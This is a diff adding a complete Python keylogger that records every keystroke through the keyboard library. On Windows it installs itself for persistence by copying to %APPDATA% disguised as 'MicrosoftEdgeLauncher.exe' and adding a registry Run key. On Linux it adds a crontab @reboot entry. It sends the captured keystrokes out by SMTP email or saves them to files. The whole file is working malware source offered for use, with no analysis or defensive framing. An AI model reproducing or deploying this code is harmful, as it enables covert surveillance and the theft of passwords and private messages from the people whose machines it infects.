|
| 1 | +importkeyboard# for keylogs |
| 2 | +importsmtplib# for sending email using SMTP protocol (gmail) |
| 3 | +fromthreadingimportTimer |
| 4 | +fromdatetimeimportdatetime |
| 5 | +fromemail.mime.multipartimportMIMEMultipart |
| 6 | +fromemail.mime.textimportMIMEText |
| 7 | +importos,shutil,subprocess,platform,sys |
| 8 | +fromsysimportexecutable |
| 9 | + |
| 10 | +SEND_REPORT_EVERY=60# in seconds, 60 means 1 minute and so on |
| 11 | +EMAIL_ADDRESS="email@provider.tld" |
| 12 | +EMAIL_PASSWORD="password_here" |
| 13 | + |
| 14 | +defsetup_persistence(): |
| 15 | +"""This function sets up persistence (runs automatically at startup) of this executable. |
| 16 | + On Linux, it uses crontab to create a cron job that runs this script at reboot. |
| 17 | + On Windows, it uses the Windows Registry to add a key that runs this script at startup. |
| 18 | + Note that this will only work if the script is bundled as an executable using PyInstaller on Windows. |
| 19 | + On Linux, it will work with the script itself or the executable.""" |
| 20 | +os_type=platform.system() |
| 21 | +ifos_type=="Windows": |
| 22 | +location=os.environ['appdata']+"\\MicrosoftEdgeLauncher.exe"# Disguise the keylogger as Microsoft Edge |
| 23 | +ifnotos.path.exists(location): |
| 24 | +shutil.copyfile(executable,location) |
| 25 | +subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ',shell=True) |
| 26 | +elifos_type=="Linux": |
| 27 | +location=os.path.expanduser('~')+"/.config/KaliStartup" |
| 28 | +ifnotos.path.exists(location): |
| 29 | +# Create the autostart directory if it doesn't exist |
| 30 | +os.makedirs(location) |
| 31 | +filename=os.path.join(location,"KaliStartup") |
| 32 | +# Copy the keylogger to that new location |
| 33 | +shutil.copyfile(sys.executable,filename) |
| 34 | +# Add the keylogger to startup via crontab |
| 35 | +crontab_line=f"@reboot{filename}" |
| 36 | +os.system(f'(crontab -l; echo "{crontab_line}") | crontab -') |
| 37 | + |
| 38 | +# Run the setup_persistence function |
| 39 | +setup_persistence() |
| 40 | + |
| 41 | +classKeylogger: |
| 42 | +def__init__(self,interval,report_method="email"): |
| 43 | +"""Initialize the keylogger with the specified interval for sending reports and the method of reporting.""" |
| 44 | +self.interval=interval |
| 45 | +self.report_method=report_method |
| 46 | +self.log="" |
| 47 | +self.start_dt=datetime.now() |
| 48 | +self.end_dt=datetime.now() |
| 49 | + |
| 50 | +defcallback(self,event): |
| 51 | +"""Handle a keyboard event by logging the keystroke.""" |
| 52 | +name=event.name |
| 53 | +iflen(name)>1: |
| 54 | +ifname=="space": |
| 55 | +name=" " |
| 56 | +elifname=="enter": |
| 57 | +name="[ENTER]\n" |
| 58 | +elifname=="decimal": |
| 59 | +name="." |
| 60 | +else: |
| 61 | +name=name.replace(" ","_") |
| 62 | +name=f"[{name.upper()}]" |
| 63 | +self.log+=name |
| 64 | + |
| 65 | +defupdate_filename(self): |
| 66 | +"""Update the filename for the log file based on the current date and time.""" |
| 67 | +start_dt_str=str(self.start_dt)[:-7].replace(" ","-").replace(":","") |
| 68 | +end_dt_str=str(self.end_dt)[:-7].replace(" ","-").replace(":","") |
| 69 | +self.filename=f"keylog-{start_dt_str}_{end_dt_str}" |
| 70 | + |
| 71 | +defreport_to_file(self): |
| 72 | +"""This method creates a log file in the specified directory that contains |
| 73 | + the current keylogs in the `self.log` variable""" |
| 74 | +os_type=platform.system() |
| 75 | +ifos_type=="Windows": |
| 76 | +log_dir=os.path.join(os.environ['USERPROFILE'],'Documents','KeyloggerLogs') |
| 77 | +elifos_type=="Linux": |
| 78 | +log_dir=os.path.join(os.path.expanduser("~"),'Documents','KeyloggerLogs') |
| 79 | +# create a directory for the logs |
| 80 | +ifnotos.path.exists(log_dir): |
| 81 | +os.makedirs(log_dir) |
| 82 | +log_file=os.path.join(log_dir,f"{self.filename}.txt") |
| 83 | +# write the logs to a file |
| 84 | +withopen(log_file,"w")asf: |
| 85 | +print(self.log,file=f) |
| 86 | +print(f"[+] Saved{log_file}") |
| 87 | + |
| 88 | +defprepare_mail(self,message): |
| 89 | +"""Prepare an email message with both text and HTML versions.""" |
| 90 | +msg=MIMEMultipart("alternative") |
| 91 | +msg["From"]=EMAIL_ADDRESS |
| 92 | +msg["To"]=EMAIL_ADDRESS |
| 93 | +msg["Subject"]="Keylogger logs" |
| 94 | +html=f"<p>{message}</p>" |
| 95 | +text_part=MIMEText(message,"plain") |
| 96 | +html_part=MIMEText(html,"html") |
| 97 | +msg.attach(text_part) |
| 98 | +msg.attach(html_part) |
| 99 | +returnmsg.as_string() |
| 100 | + |
| 101 | +defsendmail(self,email,password,message,verbose=1): |
| 102 | +"""Send an email using SMTP with the logged keystrokes.""" |
| 103 | +server=smtplib.SMTP(host="smtp.office365.com",port=587) |
| 104 | +server.starttls() |
| 105 | +server.login(email,password) |
| 106 | +server.sendmail(email,email,self.prepare_mail(message)) |
| 107 | +server.quit() |
| 108 | +ifverbose: |
| 109 | +print(f"{datetime.now()} - Sent an email to{email} containing:{message}") |
| 110 | + |
| 111 | +defreport(self): |
| 112 | +"""Report the captured keystrokes either by email or by saving to a file.""" |
| 113 | +ifself.log: |
| 114 | +self.end_dt=datetime.now() |
| 115 | +self.update_filename() |
| 116 | +ifself.report_method=="email": |
| 117 | +self.sendmail(EMAIL_ADDRESS,EMAIL_PASSWORD,self.log) |
| 118 | +elifself.report_method=="file": |
| 119 | +self.report_to_file() |
| 120 | +self.start_dt=datetime.now() |
| 121 | +self.log="" |
| 122 | +timer=Timer(interval=self.interval,function=self.report) |
| 123 | +timer.daemon=True |
| 124 | +timer.start() |
| 125 | + |
| 126 | +defstart(self): |
| 127 | +"""Start the keylogger.""" |
| 128 | +self.start_dt=datetime.now() |
| 129 | +keyboard.on_release(callback=self.callback) |
| 130 | +self.report() |
| 131 | +print(f"{datetime.now()} - Started keylogger") |
| 132 | +keyboard.wait() |
| 133 | + |
| 134 | + |
| 135 | +if__name__=="__main__": |
| 136 | +keylogger=Keylogger(interval=SEND_REPORT_EVERY,report_method="file") |
| 137 | +keylogger.start() |